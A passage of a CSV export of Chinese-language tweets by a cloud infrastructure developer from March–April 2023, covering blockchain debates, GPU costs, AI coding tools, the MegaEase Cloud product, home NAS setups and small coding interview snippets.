我知道你说的，一般1-5个工作日。不过我前段时间，体验过从香港汇丰到美国chase，真的是秒到账，一共5笔，最长的大概等了5分钟，所以只要银行选对，也不慢，而且如果账户余额达标，手续费可以免。另外，跨国转账这个也不是什么用户痛点。更大量的网上支付都是通过像VISA这样的支付网关实时完成的。,,https://twitter.com/haoel/status/1645940272696549376\n266,1645933836344107008,2023-04-11 23:36:21+00:00,0,0,1,,@hongqn 其实我觉得你应该还是继续坚持你的AI方向，就像我一直在坚守自己的云计算方向。,,https://twitter.com/haoel/status/1645933836344107008\n267,1645932626790821888,2023-04-11 23:31:32+00:00,0,0,1,,@jolestar @hongqn 秒到账,,https://twitter.com/haoel/status/1645932626790821888\n268,1645931391857618944,2023-04-11 23:26:38+00:00,1,0,1,,@hongqn 咱们不用互相说服了，区块链我一点也不看好。我们各自保留观点吧，一切交给时间吧。,,https://twitter.com/haoel/status/1645931391857618944\n269,1645929762089574408,2023-04-11 23:20:09+00:00,0,0,1,,@jolestar @hongqn 有数据吗？,,https://twitter.com/haoel/status/1645929762089574408\n270,1645929078803902467,2023-04-11 23:17:26+00:00,1,0,0,,@peace_wallen 游戏和视频都是属于内容创作，内容当然有价值，但不足以推动社会进步。我原本对价值的定义是、推动社会进步，解放生产力，降低成本……我表达词不达意，你也不毕太过敏感,,https://twitter.com/haoel/status/1645929078803902467\n271,1645927582456586241,2023-04-11 23:11:30+00:00,19,1,1,,@hongqn 我觉的我们最好还是基于客观事实或是历史上已经发生过的事情，而不是主观的“可能”，不然，为什么咱不更out-of-box，更加放飞思想，为啥一定要把自己局限于区块链？另外，马列也说了：生产力决定生产关系。我们应该顺应因果，而非反推因果,,https://twitter.com/haoel/status/1645927582456586241\n272,1645918181142429696,2023-04-11 22:34:08+00:00,87,8,20,,@hongqn 区块链到今天也没有做出什么有意义的东西，所谓的生产关系也只是充斥着黑产和洗钱，没有任何一家大型的技术公司把其当成战略，这不是明摆着的吗？,,https://twitter.com/haoel/status/1645918181142429696\n273,1645796023124758533,2023-04-11 14:28:43+00:00,145,14,24,,GPU终于从游戏，视频和挖矿，走到了正确的创造价值的场景上来了，而区块链和Web3并没对应用在能力和价值上产生质的升级，也没有降低成本，一点也不符合先进生产工具需要同时满足在降低成本的同时还能提升生产力的条件，它们将在这波AI的浪潮里会被快速的被遗忘…… 3/3,,https://twitter.com/haoel/status/1645796023124758533\n274,1645796020100665349,2023-04-11 14:28:43+00:00,77,5,10,,\"我感觉，未来的AI训练和应用最终都会通过算法优化或分布式化走向使用更便宜更廉价的GPU，就像Stable Diffusion 优化内存那样。\n所以，像A100这样昂贵的显卡，如果不出意外，应该会在几年后被廉价的技术取代掉，就像当年的SGI的超级计算机或IBM/Sun的小型机被x86干掉一样…… 2/3\",,https://twitter.com/haoel/status/1645796020100665349\n275,1645796016116080640,2023-04-11 14:28:42+00:00,175,15,6,,我是做基础设施的，每次应用的升级都是基础设施的升级，反之亦然，两者相互促进。这次 AIGC 的升级，必然也会导致软硬件基础设施的升级。对于基础设施的重要资源GPU来说，摩尔定律还在生效。这意味着，未来能用更便宜的钱买到性能更高的显卡，技术的成本和门槛会逐年下降…… 1/3,,https://twitter.com/haoel/status/1645796016116080640\n276,1645721366468124674,2023-04-11 09:32:04+00:00,1,0,1,,@tinyfool 基操勿六,,https://twitter.com/haoel/status/1645721366468124674\n277,1645720206516588544,2023-04-11 09:27:27+00:00,9,0,2,,@zhufengme @gaochunhui 刚刚跟老高分开，谈了一个小产品的想法，未来还可以合作一吧,,https://twitter.com/haoel/status/1645720206516588544\n278,1645719662628601856,2023-04-11 09:25:18+00:00,6,0,4,,@tinyfool 我已经在偷偷用它干活了……😂😂,,https://twitter.com/haoel/status/1645719662628601856\n279,1645653074688749568,2023-04-11 05:00:42+00:00,1472,429,56,,上 Youtube 看了好些对 Auto-GPT 项目（https://t.co/ap8xURZhwz）的演示。一个 GPT 流程自动化的东西，可以让他写代码，然后自动化地运行代码，修改代码，直到正确为止。也可先把网页抓下来，然后再分析网页……这个直接把现有的人肉式的Chat-GPT 干到了Next Level。有它后我瞬间想到了很多产品……,\"[TextLink(text='github.com/Torantulino/Au…', url='https://github.com/Torantulino/Auto-GPT', tcourl='https://t.co/ap8xURZhwz', indices=(28, 51))]\",https://twitter.com/haoel/status/1645653074688749568\n280,1645563743542345730,2023-04-10 23:05:44+00:00,1,0,2,,@Haifeng_Jia @waylybaye New Bing App,,https://twitter.com/haoel/status/1645563743542345730\n281,1645445389196353539,2023-04-10 15:15:26+00:00,56,1,6,,@waylybaye 为你创作了四首诗……希望你喜欢 https://t.co/BBkD56NRqz,,https://twitter.com/haoel/status/1645445389196353539\n282,1645440960430735360,2023-04-10 14:57:50+00:00,1,0,2,,@MiaBleem 明白了，那个男人就是八爷……,,https://twitter.com/haoel/status/1645440960430735360\n283,1645368280654413824,2023-04-10 10:09:02+00:00,31,0,12,,@Kenji_santu 放心，高铁是过安检的，所以不可能会是炸弹……我估计应该会是被碎了的尸体……,,https://twitter.com/haoel/status/1645368280654413824\n284,1645217464148697090,2023-04-10 00:09:44+00:00,30,0,11,,@oran_ge Edge不难用吧,,https://twitter.com/haoel/status/1645217464148697090\n285,1644949230153527305,2023-04-09 06:23:52+00:00,0,0,0,,@VeroFess 用线段树来解这个问题复杂化了。,,https://twitter.com/haoel/status/1644949230153527305\n286,1644879971025055744,2023-04-09 01:48:40+00:00,1,0,0,,@VYSEa 嗯，思路是类似的，不过我先加了一个哈希表，因为不在china_ip_list里面的ip 会是大多数，这样可以避免做很多的无用功。另外，使用类库最大的问题就是移植到别的语言很麻烦。,,https://twitter.com/haoel/status/1644879971025055744\n287,1644876998165282816,2023-04-09 01:36:51+00:00,1,0,0,,\"@York_0831 我当然知道这个算法，十五年前我就知道了。我刚才是让你把我的这个IP 查找的需求用布隆过滤器的方式写出来，需求如下：1）是查找一个IP是否会在一堆的CIDR中，不能有误判，无论概率有多小。2）查找一个IP的国家归属。总之：talk is cheap, show me the code.\",,https://twitter.com/haoel/status/1644876998165282816\n288,1644861924411314181,2023-04-09 00:36:57+00:00,1,0,1,,@York_0831 写岀来看看,,https://twitter.com/haoel/status/1644861924411314181\n289,1644692849185923074,2023-04-08 13:25:06+00:00,35,2,0,,这个代码没有使用golang的netip库，主要是为了更自由和扩展性更好的算法，也为了可以容易移值到其它语言。另外，IP 数据库使用的都是网上公开的，我已注明。代码过程中，Copoilt 帮我写了所有的核心和常规代码和单测，但是如何组织和抽象代码以及几个特殊案例，这个还得我来调整。全部耗时4-5小时……,,https://twitter.com/haoel/status/1644692849185923074\n290,1644692846769999872,2023-04-08 13:25:06+00:00,170,33,10,,因为MegaEase Cloud是远程管理模式，并因为网络和政治上的“不可抗力”，我们部署了中国区（.cn域名）和国际区（.com域名），数据和帐户完全隔离。这个事写在文档中还不够，还要代码提示用户到相应的区。于是，我想起了以前“查询IP地址”的面试题，用go写了个，哈希表+二分查找。https://t.co/kzSLcsGF1i,\"[TextLink(text='github.com/haoel/ipsearch', url='https://github.com/haoel/ipsearch', tcourl='https://t.co/kzSLcsGF1i', indices=(143, 166))]\",https://twitter.com/haoel/status/1644692846769999872\n291,1644613469382258689,2023-04-08 08:09:41+00:00,1,0,0,,@jack4it It’s fine. zsh auto-completion helps,,https://twitter.com/haoel/status/1644613469382258689\n292,1644380749733466119,2023-04-07 16:44:56+00:00,0,0,0,,@snmngji5 但是你知道要做是什么样吗？这些技术架构，完全讲不懂，我想要的样子，怎么做都做不好，只能来来回回的各种改，你要不你来试试？😂,,https://twitter.com/haoel/status/1644380749733466119\n293,1644297352092745728,2023-04-07 11:13:32+00:00,1,0,4,,@plantegg 怪不得，的确是卡了一点,,https://twitter.com/haoel/status/1644297352092745728\n294,1644296089632382978,2023-04-07 11:08:31+00:00,8,0,2,,@shinyzhu 嗯，我知道的，但好些时候晃了也找不到……老年人远视了……😂,,https://twitter.com/haoel/status/1644296089632382978\n295,1644290295490834432,2023-04-07 10:45:30+00:00,379,30,79,,开发的标配三屏：代码，Google，运行。唯一的副作用就是经常性的的鼠标找不到了…… https://t.co/GVcVkQxjY8,,https://twitter.com/haoel/status/1644290295490834432\n296,1644284285611020288,2023-04-07 10:21:37+00:00,1,0,0,,@jack4it good point! we will make this soon...,,https://twitter.com/haoel/status/1644284285611020288\n297,1644284071198208000,2023-04-07 10:20:46+00:00,1,0,0,,@congwangcoder 有啊：https://t.co/cmEhnn4m9P,\"[TextLink(text='youtu.be/Sj6l9uZrJ4I', url='https://youtu.be/Sj6l9uZrJ4I', tcourl='https://t.co/cmEhnn4m9P', indices=(18, 41))]\",https://twitter.com/haoel/status/1644284071198208000\n298,1644284030748327936,2023-04-07 10:20:36+00:00,0,0,0,,@rainswift 有啊。https://t.co/cmEhnn4m9P,\"[TextLink(text='youtu.be/Sj6l9uZrJ4I', url='https://youtu.be/Sj6l9uZrJ4I', tcourl='https://t.co/cmEhnn4m9P', indices=(14, 37))]\",https://twitter.com/haoel/status/1644284030748327936\n299,1644283848476463109,2023-04-07 10:19:53+00:00,0,0,1,,@htryit 私信我一下你的帐号我看看。,,https://twitter.com/haoel/status/1644283848476463109\n300,1644230231056850945,2023-04-07 06:46:50+00:00,0,0,1,,@michaelluang 不过，为啥iPad不横屏使用？,,https://twitter.com/haoel/status/1644230231056850945\n301,1644221573166174208,2023-04-07 06:12:25+00:00,0,0,0,,@merrygreek 是的，视频公司根本听不懂我要做什么，我只能来回的让他们改。,,https://twitter.com/haoel/status/1644221573166174208\n302,1644221452747669505,2023-04-07 06:11:57+00:00,0,0,1,,@WarriorRen 应该收得到的，你把邮箱私信给我吧,,https://twitter.com/haoel/status/1644221452747669505\n303,1644214554573049857,2023-04-07 05:44:32+00:00,2,0,4,,@tengtmay 高铁换高铁？,,https://twitter.com/haoel/status/1644214554573049857\n304,1644208396642717696,2023-04-07 05:20:04+00:00,0,0,1,,@michaelluang 谢谢反馈,,https://twitter.com/haoel/status/1644208396642717696\n305,1644200104109428736,2023-04-07 04:47:07+00:00,0,0,1,,@shinyzhu 我看看能不能关掉。,,https://twitter.com/haoel/status/1644200104109428736\n306,1644197393334947842,2023-04-07 04:36:20+00:00,695,207,25,,两年前，我找视频制作公司花了半年做了个二十年来【软件架构的演进】的视频，从单体架构到SOA，再到微服务，再到云原生架构。今天终于把这个视频做成了一个平台：MegaEase Cloud - 国内 https://t.co/8Ucr1tXQqJ / 国外https://t.co/skp2puo71c，欢迎试用和反馈！（视频:https://t.co/XdqjCROzLK）,\"[TextLink(text='cloud.megaease.cn', url='http://cloud.megaease.cn', tcourl='https://t.co/8Ucr1tXQqJ', indices=(97, 120)), TextLink(text='cloud.megaease.com', url='http://cloud.megaease.com', tcourl='https://t.co/skp2puo71c', indices=(125, 148)), TextLink(text='youtu.be/6X74pEJ58-E', url='https://youtu.be/6X74pEJ58-E', tcourl='https://t.co/XdqjCROzLK', indices=(161, 184))]\",https://twitter.com/haoel/status/1644197393334947842\n307,1644117616498479105,2023-04-06 23:19:20+00:00,25,2,1,,@DashHuang @wuyuesanren @ZhanSu12 是的，各有各的好处。银行卡卡的好处【线下支付】不要求付款方要有手机（电和网络），的确更方便更快捷。然而，老百姓的金融活动不仅仅只有【支付】，还有【收款】和【转账】，银行卡一下就不行了，转账时填写姓名和卡号实在是太痛苦了（包括早年的支付宝），基于二维码或通讯录的转账更方便快捷……,,https://twitter.com/haoel/status/1644117616498479105\n308,1643887039283343361,2023-04-06 08:03:06+00:00,1,0,0,,@LiangHanquan 可以考虑啊，只要公有云上卖的贵，我就有兴趣了,,https://twitter.com/haoel/status/1643887039283343361\n309,1643872451024261120,2023-04-06 07:05:08+00:00,3,0,0,,@qwertyX1024 你说的是我们可以部署的这些基础软件还是MegaEase Cloud? 后者可以做私有部署。,,https://twitter.com/haoel/status/1643872451024261120\n310,1643866183127687168,2023-04-06 06:40:14+00:00,164,42,10,,\"这次更新后，可以获得如下能力：\n\n1）高可用的开源基础软件\n2）分布式对象+ CDN分发\n3）持续部署和服务治理能力\n\n是的，目前完全免费！我们干的就是在不牺牲质量的前提下大规模降低云成本费用的事！\n\n（中文版Release Notes https://t.co/MEpTdcYNbt）\",\"[TextLink(text='mp.weixin.qq.com/s/mBQyQXNchsTR…', url='https://mp.weixin.qq.com/s/mBQyQXNchsTRA4RL4uPJJg', tcourl='https://t.co/MEpTdcYNbt', indices=(119, 142))]\",https://twitter.com/haoel/status/1643866183127687168\n311,1643113390066536448,2023-04-04 04:48:54+00:00,135,3,26,,为啥我在国内用网名上网，在国外用真名上网？因为我以前在外企工作，外国同事们都用真名和真实头像注册网上帐号，所以，我也被影响了。而国内的网民都用网名和虚拟头像注册网络帐号，所以也就用了网名。不过，话说回来，我的真名太普遍重名太多，而网名更显著和不普遍，所以，用真名反而能更低调……😂,,https://twitter.com/haoel/status/1643113390066536448\n312,1643109019186233349,2023-04-04 04:31:32+00:00,2,0,1,,@CrazyBunnyDoll @Barret_China HTTP/3 肯定可以啊，但是国内肯定不支持,,https://twitter.com/haoel/status/1643109019186233349\n313,1643096488447447041,2023-04-04 03:41:44+00:00,11,0,2,,@Barret_China 这种情况下，TCP 连接必然不可能复用啊……,,https://twitter.com/haoel/status/1643096488447447041\n314,1643059353019367424,2023-04-04 01:14:10+00:00,1,0,1,,@syeerzy 你都不仔细看一下原推么？,,https://twitter.com/haoel/status/1643059353019367424\n315,1642917512039002114,2023-04-03 15:50:33+00:00,28,0,9,,\"Missing. It’s even greater than Searching, A daughter hacks all of Internet accounts to trying find her missing mother. Fantastic story and nail-biting atmosphere. But again, I don’t understand why they all forget the “Find my iPhone”… https://t.co/vNQZq4ARoi\",,https://twitter.com/haoel/status/1642917512039002114\n316,1642883498926313473,2023-04-03 13:35:24+00:00,0,0,0,,\"@qiushuiyibing 跟我写的一样嘛\n\nhttps://t.co/ZyFp1xJvKt\",\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1642794869134610434', tcourl='https://t.co/ZyFp1xJvKt', indices=(24, 47))]\",https://twitter.com/haoel/status/1642883498926313473\n317,1642844915188273153,2023-04-03 11:02:05+00:00,4,1,1,,@slayerxj2 猜对了,,https://twitter.com/haoel/status/1642844915188273153\n318,1642844786708316160,2023-04-03 11:01:34+00:00,67,6,5,,@Chenxiao2008 因为每个国家对功率是有限制的，中国的限制的功率就比较低，美国和澳大利亚可能是人少地广，所以功率可以很大，澳大利亚的是最大的……作为路由器的产商，当然是希望自己的产品信号更好……,,https://twitter.com/haoel/status/1642844786708316160\n319,1642844278664880128,2023-04-03 10:59:33+00:00,34,0,1,,@GhostHelmet 你的意思是说澳大利亚人迟早有天都被辐射死了是吧？😂,,https://twitter.com/haoel/status/1642844278664880128\n320,1642843789231558657,2023-04-03 10:57:36+00:00,2,0,0,,\"@disksing @NovaIntrovert @anpho @zhangjintao9020 数理上都是一样的。我是先算除以小时后余的秒数，再求分钟，而你是先算总分钟数，再除以小时后的余数。不过如果按照标准的进制来做的话，应该是不断地重复下面这两个动作：\n\nx = n % base;\nn /= base;\n\n所以你的公式更接近于这个标准的做法\",,https://twitter.com/haoel/status/1642843789231558657\n321,1642805763923152897,2023-04-03 08:26:30+00:00,15,0,11,,@CCCCYDZS 没用，孩子同学也会来我们家玩的，我们家孩子会告诉他们我们家的上网密码和热点的,,https://twitter.com/haoel/status/1642805763923152897\n322,1642805352055066625,2023-04-03 08:24:52+00:00,0,0,0,,@bigbyto @NovaIntrovert @anpho @disksing @zhangjintao9020 那你给一个更好的答案,,https://twitter.com/haoel/status/1642805352055066625\n323,1642803332191518729,2023-04-03 08:16:50+00:00,1,0,0,,@ccqlsp @Kaikaifilu_323 之前是我搞混了😓（PS5的DNS设成韩国的才能上载游戏截图……,,https://twitter.com/haoel/status/1642803332191518729\n324,1642798072978882560,2023-04-03 07:55:56+00:00,1239,260,162,,路由器比较好用的应该是华硕的，尤其还集成了网易游戏加速，NAS，Mesh 等功能，关键是还有官方的OpenWRT。不过，如果你要加强信号的话，要记得修改一下无线网络的地区为“澳大利亚”。调完后，家里各个角落基本都可以连上了，但有个副作用，孩子同学天天在楼下（我家~10楼）蹭我家的WiFi看视频打游戏…… https://t.co/B4TG5w3ELK,,https://twitter.com/haoel/status/1642798072978882560\n325,1642794869134610434,2023-04-03 07:43:13+00:00,4,0,2,,\"@NovaIntrovert @anpho @disksing @zhangjintao9020 有点啰嗦了，来个精简点的： \nint h=n/3600, m=(n %3600)/60, s=n%60; \nif (h&gt;0) printf(\"\"%dh\"\",h); \nif (m&gt;0) printf(%dm\"\", m); \nprintf(%ds\\n\"\",s);\",,https://twitter.com/haoel/status/1642794869134610434\n326,1642794156597862400,2023-04-03 07:40:23+00:00,1,0,0,,@think_now_go @sofish 应该是澳大利亚，是我搞混了（PS5的DNS设置成韩国）,,https://twitter.com/haoel/status/1642794156597862400\n327,1642793508301074432,2023-04-03 07:37:48+00:00,0,0,1,,@qwertyX1024 @sofish 哈哈，我才发现我家是澳大利亚…… https://t.co/dQJ3ukeKiI,,https://twitter.com/haoel/status/1642793508301074432\n328,1642742496823263235,2023-04-03 04:15:06+00:00,0,0,0,,@jerry2mx Typo,,https://twitter.com/haoel/status/1642742496823263235\n329,1642739276587859968,2023-04-03 04:02:18+00:00,9,0,1,,@abserari 可以注册啊，外国人搞了各种各样的self-hosted且开源的东西，都考虑到了，有空你可以自己折腾一下。,,https://twitter.com/haoel/status/1642739276587859968\n330,1642737975329976320,2023-04-03 03:57:08+00:00,1,0,0,,@farmer1992 什么时候帮我跟你家微软说说，给我把office365和Xbox的订阅费报销一下……,,https://twitter.com/haoel/status/1642737975329976320\n331,1642736146768859136,2023-04-03 03:49:52+00:00,0,0,0,,@jonathanyoungac 所以，你也不合格，哈😂🤣😜,,https://twitter.com/haoel/status/1642736146768859136\n332,1642735956515262466,2023-04-03 03:49:07+00:00,7,0,2,,@FCUCCPK 这个不重要，重点不在输出，而是算对。你要是介意输出的话，加几个变量和几个if-else就好了，这个是个人都会做。,,https://twitter.com/haoel/status/1642735956515262466\n333,1642735478867894272,2023-04-03 03:47:13+00:00,7,0,4,,BTW，AI 写这种时间转换的题绝对没问题，包括写字符串转数字的题也一样，但是，有很大一部份程序员是写不出来的……,,https://twitter.com/haoel/status/1642735478867894272\n334,1642734591139270657,2023-04-03 03:43:41+00:00,148,20,18,,\"这个面试题不是一个练编程的题，这个题考的是小学数学，因为一行代码就写完了： printf(\"\"%dh%dm%ss\\n\"\", n/3600, (n%3600)/60, n%60); 我觉得好的代码逻辑面试题的标志是——要有多个情况的条件分支相互交织，看程序员能不能把逻辑梳理出来。比如：字符串转整型，需要能识别进制，千分位，小数点……\",,https://twitter.com/haoel/status/1642734591139270657\n335,1642734020277714945,2023-04-03 03:41:25+00:00,51,1,8,,\"@zhangjintao9020 这个面试题不是一个练编程的题，这个题考的是小学数学，因为一行代码就写完了： printf(\"\"%dh%dm%ss\\n\"\", n/3600, (n%3600)/60, n%60); 我觉得好的代码面试题的标志是，要有多个情况的条件分支相互交织，看程序员能不能把逻辑梳理出来。比如：字符串转整型，需要能识别进制，千分位，小数点……\",,https://twitter.com/haoel/status/1642734020277714945\n336,1642726995845849095,2023-04-03 03:13:30+00:00,4,0,1,,@nibaijing 我用西数的MyCloud,,https://twitter.com/haoel/status/1642726995845849095\n337,1642722974523625472,2023-04-03 02:57:32+00:00,3,0,3,,@Wei_Zhibiao 我用西数的MyCloud，群辉太贵了,,https://twitter.com/haoel/status/1642722974523625472\n338,1642707980708896768,2023-04-03 01:57:57+00:00,309,43,27,,\"最近在一点点搭建自己家庭的私有云，家里有三个NAS 硬盘，还有些老电脑，网络上也有很多Self-Hosted的服务，比如：图片的Jellfin, 多媒体的Plex，聊天的Mattermost……可以通过 Cloudflare 的 Tunnel 对外服务，当然，我仅限于自用和朋友间使用，这里需要一个网关或中控，于是才想到使用迷你主机。\",,https://twitter.com/haoel/status/1642707980708896768\n339,1642491527195947008,2023-04-02 11:37:50+00:00,4,0,0,,@fuyufjh 再找找看，就在那里,,https://twitter.com/haoel/status/1642491527195947008\n340,1642490891209412608,2023-04-02 11:35:19+00:00,2,0,2,,@farmer1992 我就觉得命令行能兼容Linux命令就很好,,https://twitter.com/haoel/status/1642490891209412608\n341,1642437354530172928,2023-04-02 08:02:34+00:00,2,1,0,,@fujohnwang 这个还是我买的，是个磁悬浮的,,https://twitter.com/haoel/status/1642437354530172928\n342,1642437186837700609,2023-04-02 08:01:55+00:00,5,1,5,,@pipchan3 https://t.co/f3cyd38mnj https://t.co/oF21jP8URP,\"[TextLink(text='item.m.jd.com/product/311095…', url='https://item.m.jd.com/product/31109537325.html', tcourl='https://t.co/f3cyd38mnj', indices=(10, 33))]\",https://twitter.com/haoel/status/1642437186837700609\n343,1642435354102996992,2023-04-02 07:54:38+00:00,1,0,1,,@BuyBtcForever 10多年都没用过鼠标了，我还找了半天……,,https://twitter.com/haoel/status/1642435354102996992\n344,1642434538981986304,2023-04-02 07:51:23+00:00,3,0,0,,@kevinzhow 就是你安利给我的,,https://twitter.com/haoel/status/1642434538981986304\n345,1642406008642494464,2023-04-02 05:58:01+00:00,85,6,21,,微软帐号一登录，浏览器，Skype ，电子邮件 全配好了……我感觉MacBookPro这种价位和现在的软硬件质量， 一点也不香了……我感觉我要把Windows再用回来了……🎉🎉,,https://twitter.com/haoel/status/1642406008642494464\n346,1642402578599391232,2023-04-02 05:44:23+00:00,369,18,95,,\"树莓派彻底嗝屁了，想买个新的，结果发现太贵买不起了。干脆八百多元买个赛扬5105迷你主机。发现预装了Win10，我有十多年没用过win了，用了会，发现还是熟悉的配方，记事本，注册表，控制面板，另外，Linux子系统和psh太好用了……👍\n\nPS. 大家都喜欢晒炫桌面，那我晒个的真实桌面，嗯，斯是陋桌😜 https://t.co/MSFy3vqYrD\",,https://twitter.com/haoel/status/1642402578599391232\n347,1642113174056075264,2023-04-01 10:34:24+00:00,93,19,9,,推荐一下这部龙与地下城 DnD 的电影，喜剧片，老少咸宜…… https://t.co/wDUt7YTEMM,,https://twitter.com/haoel/status/1642113174056075264\n348,1641765467961294849,2023-03-31 11:32:44+00:00,0,0,2,,@liumengxinfly @shinyzhu 有什么别的推荐？,,https://twitter.com/haoel/status/1641765467961294849\n349,1641764693361475586,2023-03-31 11:29:40+00:00,1,0,0,,@MixBog @shinyzhu 哦，是的，有这个问题。,,https://twitter.com/haoel/status/1641764693361475586\n350,1641750770977472512,2023-03-31 10:34:20+00:00,20,2,3,,@kevinzhow Google 的 OCR 服务 + AWS 的翻译引擎 https://t.co/MA5beVsisa,,https://twitter.com/haoel/status/1641750770977472512\n351,1641650234357841921,2023-03-31 03:54:50+00:00,28,2,2,,1）相对于翻译准确和质量，速度和稳定则是更容易解决的。2）比翻译维度更高的是内容组织，语言表达，以及内容查漏补全。Nokia在iPhone出来时，在待机时间、防摔、短信群发、等很多方面都能胜出，但是最后还是抵抗不了高维度的碾压。3）任何方向都可以有细分，COBOL 今天也有人用，而我妈也只会用现金。,,https://twitter.com/haoel/status/1641650234357841921\n352,1641650111129214977,2023-03-31 03:54:21+00:00,48,1,3,,@yihong0618 1）相对于翻译准确和质量，速度和稳定则是更容易解决的。2）比翻译维度更高的是内容组织，语言表达，以及内容查漏补全。Nokia在iPhone出来时，在待机时间、防摔、短信群发、等很多方面都能胜出，但是最后还是抵抗不了高维度的碾压。3）任何方向都可以有细分，COBOL 今天也有人用，而我妈也只会用现金。,,https://twitter.com/haoel/status/1641650111129214977\n353,1641642709457727488,2023-03-31 03:24:56+00:00,0,0,0,,@pK7qkLEE6TKEBRs @geniusvczh 年轻的时候丢过好多东西……都是教训,,https://twitter.com/haoel/status/1641642709457727488\n354,1641642144392724482,2023-03-31 03:22:42+00:00,1,0,1,,@BidaoOfficial 这一下就体验出苹果手机的好处了,,https://twitter.com/haoel/status/1641642144392724482\n355,1641641599405895680,2023-03-31 03:20:32+00:00,4,1,1,,@geniusvczh 我基本上每次离开某公共场所，如下出租车，饭店，飞机，酒店，我都会一定要回头看一下，double checking 没落东西才走的。基本上是 99.9 ％的可用性……,,https://twitter.com/haoel/status/1641641599405895680\n356,1641481468646965250,2023-03-30 16:44:14+00:00,1,0,1,,@fishjar 用电脑上 iCloud 上查,,https://twitter.com/haoel/status/1641481468646965250\n357,1641475682998841345,2023-03-30 16:21:14+00:00,80,4,19,,安顿好孩子就发现手机丢了，手机在震动模式，没人接，通过平台也打不司机的电话，说订单已完成……于是我通过查找手机App播放手机声音，随后我再打电话就联系上司机，司机说刚接了一单，下午找机会过来……为了尽快找回，也不想影响司机和乘客，我就偷偷一路追随到了终点。见面时把司机吓了一跳……😂 https://t.co/ALTFHxVpua,,https://twitter.com/haoel/status/1641475682998841345\n358,1641475664573263873,2023-03-30 16:21:10+00:00,72,1,20,,人人都有bug，当条件满足时bug就来了。我的bug是丢东西，头绪一多就触发。今天孩子不舒服，老师打我A手机，孩子打我B手机。于是在出租车上慌乱手两个手机，接孩子上车后又各种电话，下车时堵着路，微信卡住了，付不了钱，后面又有车在不停地按喇叭催促，而孩子又已下车……然后就落下个手机……,,https://twitter.com/haoel/status/1641475664573263873\n359,1641353382488166404,2023-03-30 08:15:15+00:00,6,0,5,,@cloudwu 我要补32元,,https://twitter.com/haoel/status/1641353382488166404\n360,1641352643892191235,2023-03-30 08:12:19+00:00,18,4,1,,@feelinglucky Cloudflare WARP,,https://twitter.com/haoel/status/1641352643892191235\n361,1641351855451021314,2023-03-30 08:09:11+00:00,4,0,0,,@dingzhengwei1 你爱信不信,,https://twitter.com/haoel/status/1641351855451021314\n362,1641028673061961730,2023-03-29 10:44:59+00:00,565,51,91,,一不小心触发了GPT-4 的潜意识，给我来段贯口……😓 https://t.co/dUqjBnQoLj,,https://twitter.com/haoel/status/1641028673061961730\n363,1641022386031001601,2023-03-29 10:20:00+00:00,2,0,1,,@shanzychengzan 我的古董货,,https://twitter.com/haoel/status/1641022386031001601\n364,1641020101469036547,2023-03-29 10:10:55+00:00,0,0,1,,@geniusvczh @zjyhjqs @yayv 难道你们只会在 empty else 里写注释，而不打日志么？https://t.co/VdV3uq5rlN,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1547181058596151298', tcourl='https://t.co/VdV3uq5rlN', indices=(58, 81))]\",https://twitter.com/haoel/status/1641020101469036547\n365,1641019242823794691,2023-03-29 10:07:30+00:00,105,1,4,,感觉 Apple 很亲民，CEO 安排跟独立开发者会面交流，挺好的文化……,,https://twitter.com/haoel/status/1641019242823794691\n366,1640908389684322306,2023-03-29 02:47:01+00:00,0,0,0,,@TripleZ666 谢谢！,,https://twitter.com/haoel/status/1640908389684322306\n367,1640908211883483142,2023-03-29 02:46:18+00:00,10,0,1,,@guojia1698 45 岁前，马 上快50了，不要提我多大了…… 😜,,https://twitter.com/haoel/status/1640908211883483142\n368,1640906138454556672,2023-03-29 02:38:04+00:00,99,26,8,,正在写 MegaEase Cloud  Q1 的重大更新和发布，这些新功能都会在近期上线发布。这次发布完后，MegaEase Cloud 可以为大家提供如下的优质低成本的功能：1）基础软件的运维，2）流量接入和内容分发，3）应用运维和服务治理。后续我们只差一个事了，就是接入廉价 GPU 资源……全面降低云成本，尽请期待。 https://t.co/YLAxBh6Rg9,,https://twitter.com/haoel/status/1640906138454556672\n369,1640849995510235136,2023-03-28 22:54:59+00:00,0,0,1,,@winguse 我家孩子单抽出来了,,https://twitter.com/haoel/status/1640849995510235136\n370,1640849423860203521,2023-03-28 22:52:42+00:00,0,0,0,,@geniusvczh 你这是特例,,https://twitter.com/haoel/status/1640849423860203521\n371,1640740312841584643,2023-03-28 15:39:08+00:00,219,18,6,,Al 不能帮我思考，它也没有什么想法和创意（我让取个产品名，感觉就不行），它也不能帮我解决什么难题，它能干的就是帮你把一些常规性的东西做掉，让你可以专注于更重要的事情。他就像坐在副驾驶上的领航员，你给他个赛道图，他帮你看路书，但把方向踩油门的还是你，让你更专注于更重要的事情……,,https://twitter.com/haoel/status/1640740312841584643\n372,1640740307904995328,2023-03-28 15:39:07+00:00,93,1,2,,5）在公司的商务上，向用户收款需要写一个结项报告，这种走流程的 paper work 不难就是麻烦。最近的一份先是销售来写，结果改了两版都被甲方打回，后来我用ChatGPT生成，一份完整且官话套话的报告5分钟搞定，我编辑了一下格式发出，甲方非常满意，今天到了款项。,,https://twitter.com/haoel/status/1640740307904995328\n373,1640740305384136705,2023-03-28 15:39:06+00:00,84,4,2,,4）前些日子需要对一些证件和正式书函（如法律）做相关的专业的翻译，本来要花不少钱去找专业人士翻译，我直接让AI搞，然后自己再校对一遍，最终结果，比翻译公司翻译的更好，尤其是很多的技术术语和中文名称（如地址），翻译公司反而是在乱翻译……,,https://twitter.com/haoel/status/1640740305384136705\n374,1640740302729224198,2023-03-28 15:39:06+00:00,86,4,4,,\"2）我在做一些商务合作和商务邮件的时候，使用 ChatGPT 帮我润色我的文章，邮件和文字，我只要出想法和框架，AI 帮润色，顶一个文字助理或者秘书。\n\n3）我正在跟出版社合作出书，我有很多的内容都需要重新整理和编辑，一般的编辑要么帮不上忙，要么沟通比较费劲，有了AI 后，这种一般编辑就都不需了。\",,https://twitter.com/haoel/status/1640740302729224198\n375,1640740299495415808,2023-03-28 15:39:05+00:00,1269,278,48,,\"我来说说近期 AI 帮我干的事：\n\n1）写代码Github Copilot虽然也不能把所有代码写对，但是在一些常规性的体力活生活帮我节省了太多的时间，诸如：Lint，变量声明和命名，函数调用，数据遍历，代码胶水，失败检查，常规功能，日志，注释，单元测试，文档……让我可以更专注那些更为核心和重要的逻辑。\",,https://twitter.com/haoel/status/1640740299495415808\n376,1640666922164297733,2023-03-28 10:47:31+00:00,125,19,4,,@Barret_China 